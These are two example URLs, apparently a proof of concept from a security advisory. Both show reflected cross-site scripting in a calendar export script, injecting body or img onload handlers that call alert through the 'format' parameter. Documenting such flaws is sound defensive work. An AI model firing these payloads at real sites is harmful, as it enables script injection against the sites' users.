http://www.example.com/calendar/export_handler.php?format=<body+onload=alert(1111)>&id=200
http://www.example.com/calendar/export_handler.php?format=<img+src=http://www.example2.com/img/logo.gif+onload=alert(1111)>&id=200